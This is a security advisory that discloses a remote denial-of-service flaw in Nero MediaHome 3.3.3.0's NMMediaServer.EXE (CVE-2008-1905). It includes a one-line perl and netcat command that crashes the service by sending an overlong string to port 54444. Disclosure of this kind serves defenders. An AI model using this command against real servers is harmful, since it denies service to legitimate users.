Nero MediaHome NMMediaServer.EXE Remote Denial of Service Vulnerability

Bugtraq ID:	28775
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2008-1905
Remote:	Yes
Local:	No
Published:	Apr 14 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	Luigi Auriemma
Vulnerable:	Nero MediaHome 3.3.3 .0
Not Vulnerable:

Nero MediaHome NMMediaServer.EXE Remote Denial of Service Vulnerability

Nero MediaHome is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying further service to legitimate users.

This issue affects Nero MediaHome 3.3.3.0. Other versions may also be affected.

Nero MediaHome NMMediaServer.EXE Remote Denial of Service Vulnerability

An attacker can exploit this issue by using standard network utilities.

The following command is sufficient to trigger this issue:

perl -e 'print "a"x3077' | nc SERVER 54444 -v -v

Nero MediaHome NMMediaServer.EXE Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Nero MediaHome NMMediaServer.EXE Remote Denial of Service Vulnerability

References:

• Nero MediaHome Homepage (Nero )
  
• neromedia-adv.txt (Luigi Auriemma)